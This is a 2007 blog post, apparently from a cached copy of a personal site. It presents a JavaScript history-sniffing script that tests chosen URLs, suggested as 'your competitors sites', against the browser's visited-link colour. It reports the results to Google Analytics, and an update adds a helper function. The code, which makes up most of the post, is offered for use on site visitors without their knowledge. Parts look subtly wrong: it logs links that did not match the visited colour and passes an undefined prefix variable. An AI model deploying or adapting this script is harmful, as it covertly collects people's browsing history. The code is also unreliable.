Steal browser history with JavaScript

Door Robert Cabri - 2007


Well I've found a nice script at Jeremiah Grossman's Blog
This script steals your history… Nice isn't it. Now You can see what people are visiting! Well it ain't that easy and javascript is not allowed to read out the history, but there is a way. Let's have look at this.


You have visted



    The script



    Because there is no way you can readout the history object directly, javascript will generate
    links and checks them by the computed style of the link. The links that should be specified is
    all up to you. Maybe your competitors sites.


     
    window.onload = stealHistory;

    var IEVisitedColor = '#cd0018';
    var W3CVisitedColor = 'rgb(205, 0, 24)';

    var websites = [
    "ajaxian.com/",
    "www.dicabrio.com",
    "www.vdgraaf.info",
    "www.reaact.net",
    "more of your sites...."
    ];

    function stealHistory()
    {
    if(document.getElementById('site-list'))
    {
    var List = document.getElementById('site-list');

    for( var i = 0; i < websites.length; i++ )
    {
    var bRemove = false;
    var ListItem = document.createElement('li');
    var Link = document.createElement( 'a' );
    Link.href = websites[i];
    Link.id = i;

    Link.appendChild(document.¶
    createTextNode(websites[i]));
    ListItem.appendChild(Link);
    List.appendChild(ListItem);

    if( Link.currentStyle )
    {
    var color = Link.currentStyle['color'];

    if( color == IEVisitedColor )
    {
    bRemove = true;
    }
    }
    else if( document.defaultView.¶
    getComputedStyle( Link, null ) )
    {
    var color = document.defaultView.¶
    getComputedStyle( Link, null ).color;

    if( color == W3CVisitedColor )
    {
    bRemove = true;
    }
    }

    if( bRemove == true )
    {
    List.removeChild(ListItem);
    }
    else
    {
    urchinTracker( '/visited/' + websites[i] );
    }
    }
    }
    }

    Update on the steal history script



    I've created an update for this script because I did not get the results I wanted. Where does it go wrong do you think?
    Well, when you call the urchin function and give the url as parameter It will not show correctly in Google Analytics.
    If you look at the menu "Content Performance -> Content Drilldown" you will see the visited folder is added. Now when you
    look inside it you will see that there are subfolder or is a subfolder like http:
    This should not happen. That's why I added a function that will stript the ""



    Below you see the last piece of the original script only the urchinTracker function has been replaced
    with the doUrchin function.


     
    if( bRemove == true )
    {
    List.removeChild(ListItem);
    }
    else
    {
    doUrchin( websites[i], visited );
    }

    The doUrchin function



    This function will look for the inside the url or link you want to set with the urchinTracker
    function. It will replace the with nothing so you will end up with only the right url or link.
    For some implementations you can specify a prefix. if you specify one you should see the effect in analytics.


     
    function doUrchin( Link, Prefix )
    {
    Link = Link.replace( /^(http(s)?:\/\/)/i, '' );
    Link = Link.replace( /\./i, '_' );

    if( Prefix != null )
    {
    Link = '/' + Prefix + '/' + Link;
    }

    urchinTracker( Link );
    }


    For this steal history script I use the prefix visited and this allows my to look this up in analytics with great ease.


    Andere artikelen

    • Webshops go to hell!
    • Custom world with Google Maps
    • dicaORM Object-relational mapping
    • Steal browser history with JavaScript
    • Initials (javascript)



    Terug

    spacer

    @AREA071 Wanneer is eigenlijk de beste tijd om even binnen te wandelen. De Grand Opening kan ik helaas niet bijwonen. - Volg dicabrio

    spacer

    To affect the quality of the day, that is the highest of arts.
    Henry David Thoreau

    gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.